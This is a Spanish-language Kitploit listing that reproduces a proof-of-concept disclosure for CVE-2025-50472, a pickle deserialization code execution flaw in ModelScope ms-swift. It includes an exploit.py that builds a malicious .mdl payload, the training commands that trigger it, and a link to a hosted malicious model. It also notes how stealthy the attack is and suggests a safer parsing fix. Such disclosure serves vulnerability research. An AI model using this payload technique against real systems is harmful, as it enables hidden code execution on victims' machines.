Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-50472 — Exploit de prueba de concepto para CVE-2025-50472, una vulnerabilidad de RCE por deserialización en ModelFileSystemCache de ModelScope ms-swift a través de archivos .mdl maliciosos. | Kitploit
Herramientas/GitHubGitHub/before-rain/cve-2025-50472
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

Exploit de prueba de concepto para CVE-2025-50472, una vulnerabilidad de RCE por deserialización en ModelFileSystemCache de ModelScope ms-swift a través de archivos .mdl maliciosos.

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache Deserialización de Datos No Confiables Vulnerabilidad de Ejecución Remota de Código

PoC de RCE

Subí un repositorio de código que contiene un archivo .mdl malicioso a ModelScope con fines de prueba. Se puede usar directamente durante las pruebas. El enlace es: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

image

El archivo .mdl contiene código malicioso incrustado, pero no se muestra ninguna advertencia de seguridad en ModelScope.

Código PoC:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

El procedimiento para reproducir el problema es el siguiente:

  1. El modelo se descarga

    p1
  2. Después de que se ejecuta el código malicioso, el entrenamiento continúa normalmente sin interrupción

    image
  3. El payload malicioso se ejecuta exitosamente

    image

1. Resumen de alto nivel y efectos de la vulnerabilidad:

La biblioteca modelscope/ms-swift hasta la versión 2.6.1 es vulnerable a la ejecución arbitraria de código mediante la deserialización de datos no confiables dentro de la función load_model_meta() de la clase ModelFileSystemCache(). Los atacantes pueden ejecutar código y comandos arbitrarios creando un payload .mdl serializado malicioso, explotando el uso de pickle.load() en datos de fuentes potencialmente no confiables. Esta vulnerabilidad permite la ejecución remota de código (RCE) al engañar a las víctimas para que carguen un checkpoint aparentemente inofensivo durante un proceso de entrenamiento normal, permitiendo así a los atacantes ejecutar código arbitrario en la máquina objetivo.

Tenga en cuenta que el archivo payload es un archivo oculto, lo que dificulta que la víctima detecte la manipulación. Más importante aún, durante el proceso de entrenamiento del modelo, después de que se carga el archivo .mdl y ejecuta código arbitrario, el proceso de entrenamiento normal no se ve afectado, lo que significa que el usuario permanece inconsciente de la ejecución de código arbitrario.

2. El Producto Vulnerable

  • Producto: modelscope ms-swift
  • Módulo: ModelFileSystemCache
  • Archivo: swift/hub/utils/caching.py
  • Versión: <=2.6.1
  • Enlace permanente de GitHub: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. Análisis de Causa Raíz

  • Descripción detallada de la vulnerabilidad: La vulnerabilidad resulta de la deserialización insegura de datos no confiables. El script usa pickle.load para cargar el archivo de caché oculto y es vulnerable a la ejecución de código.

  • Flujo de código desde la entrada hasta la condición vulnerable:

    • Durante el entrenamiento del modelo, el usuario empleó el método de descarga de modelo predeterminado para obtener un modelo de ModelScope. El modelo se almacenó en la ruta ~/.cache/modelscope/hub/xx/xx, donde había un archivo de caché .mdl en el directorio del modelo, que contenía información básica como el nombre del modelo.
    • Luego, el usuario utilizó el modelo descargado para ajuste fino u otros procedimientos de entrenamiento.
    • Cuando el script caching.py deserializó el archivo .mdl, se ejecutó el código malicioso incrustado en el archivo.
  • Punto de inyección: La vulnerabilidad ocurre en el punto donde se llama a pickle.load. Enlace permanente de GitHub: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • Correcciones sugeridas: Al manejar archivos de configuración (en lugar de archivos de modelo), se recomienda adoptar métodos de análisis de archivos más seguros, como yaml.safe_load(yaml_file) o json.load, para mitigar el riesgo de ejecución arbitraria de código.

4. PoC

  1. Ejecute exploit.py para crear un archivo de caché malicioso .mdl que creará un directorio en el sistema de la víctima:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. Reemplace el archivo .mdl original en el directorio del modelo con el archivo maliciosamente creado generado anteriormente.

  2. Cuando el parámetro model_id_or_path se especifica durante el entrenamiento para hacer referencia a un directorio de modelo local, un archivo .mdl manipulado en la ruta especificada puede resultar en ejecución remota de código (RCE). Importante, dicha modificación no interrumpe el flujo de trabajo normal de entrenamiento, lo que hace que el ataque RCE sea sigiloso y difícil de detectar para los usuarios.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

Autor

Hao Fan(凡浩) and Yu Rong(戎誉)

Descargar herramienta